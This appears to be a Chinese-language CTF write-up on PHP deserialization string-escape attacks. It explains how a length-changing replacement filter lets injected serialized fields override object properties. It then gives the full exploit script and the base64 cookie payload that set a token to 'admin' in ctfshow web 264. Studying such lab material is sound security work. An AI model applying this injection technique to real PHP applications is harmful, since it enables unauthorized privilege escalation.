ctf 反序列化總結
第一種,關鍵詞過濾,變多的
比如0ctf :piapiapia
我先說一次什麼是反序列化字元逃逸。
<?php class user{ public $user = 'admin'; public $pass = 'passwd'; } $a = new user(); $b = serialize($a); echo $b."<br>"; $c = unserialize($b); echo $c->pass; ?>
序列化後的字串應該能看出來,大括號外面有類名及長度,括號裡面以分號劃分多個變數,包含其變數名及長度,變數值及長度。
這些都是對應好的,而如果我們對比如user的值進行修改,改為admin1,而長度不變,當反序列化時就會報錯。
<?php $a = 'O:4:"user":2:{s:4:"user";s:5:"admin1";s:4:"pass";s:6:"passwd";}'; $b = unserialize($a); echo $b->pass; ?>
說明函式長度不等會報錯,很重要,當讀入s:5:時,系統就知道後面引號內是字串且長度為5,於是從雙引號開始讀入長度為5的字元,但由於admin1是6個字元,導致後面第6個字元該是雙引號來結束,卻沒有,由此產生異常。而如果我們設定的payload則可以越過這個異常。
···
<?php function filter($str){ $str = str_replace("ab","ccc",$str); return $str; } class user{ public $user = 'ababababababababababababababababababababababababab";s:4:"pass";s:4:"hack";}'; public $pass = 'passwd'; } $a = new user(); echo serialize($a)."<br>"; $b = filter(serialize($a)); echo $b."<br>"; $c = unserialize($b); echo $c->pass; ?>
其中,user的值有25個ab,經序列化後又對其進行替換,每替換一個ab,就多一個字元,這樣就可能會導致前面所說的系統知道的長度和實際長度不對應,就會報錯,但後面的payload=";s:4:“pass”;s:4:“hack”;},這樣就拼接起來,具體來說
初始序列化後為
可見長度為75,payload長度是為25,所以這裡使用了25個ab,當替換後就多出25個字元。待替換後就為:
O:4:"user":2:{s:4:"user";s:75:"ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc";s:4:"pass";s:4:"hack";}";s:4:"pass";s:6:"passwd";}
你可以知道,c的個數剛好為75個,而系統讀入了75個字元想碰到雙引號也成功,之後就會繼續反序列化我們的payload,而在大括號之後的字元都會被擠進下一個引數中。
現在我們來寫一下ctfshow web 264
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
session_start();
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
$_SESSION['msg']=base64_encode($umsg);
echo 'Your message has been sent';
}
highlight_file(__FILE__);
hint :message.php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 15:13:03
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: [email protected]
# @link: https://ctfer.com
*/
session_start();
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_SESSION['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
分析原始碼:
目的很清楚,就是要把user換成admin,那怎麼樣去實現的?
關鍵程式碼
$umsg = str_replace('fuck', 'loveU', serialize($msg));
他可以把fuck換為loveu,那我們這樣想,按照之前的想法,每替換一個,就會多出來一個字母,逃逸出去,如果我們可以構造出來多餘的部分
也就是說我們變數t後面就是要替換的,那我們先構造payload:
$t= ?+";s:5:"token";s:5:"admin";}';
然後我們知道";之後開始算數後面為
";s:5:"token";s:5:"admin";
不算’和;
計算出來要27個字元,也就是說我們要構造27個fuck不停的替換,最後把user替換成admin
那好,我們現在來接著構造
?=fuck*27+";s:5:“token”;s:5:“admin”;
完整的payload
<?php
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f=0;
$m=0;
$t='fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';
//計算公式=2+你序列化之後的數字 2代表";,最後';是不算的
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
echo $umsg ;
echo "\n";
echo base64_encode($umsg);
?>
把base64編碼後的結果放到cookie裡面訪問message.php就能拿到flag
Tzo3OiJtZXNzYWdlIjo0OntzOjQ6ImZyb20iO2k6MDtzOjM6Im1zZyI7aTowO3M6MjoidG8iO3M6MTM1OiJsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVUiO3M6NToidG9rZW4iO3M6NToiYWRtaW4iO30iO3M6NToidG9rZW4iO3M6NDoidXNlciI7fQ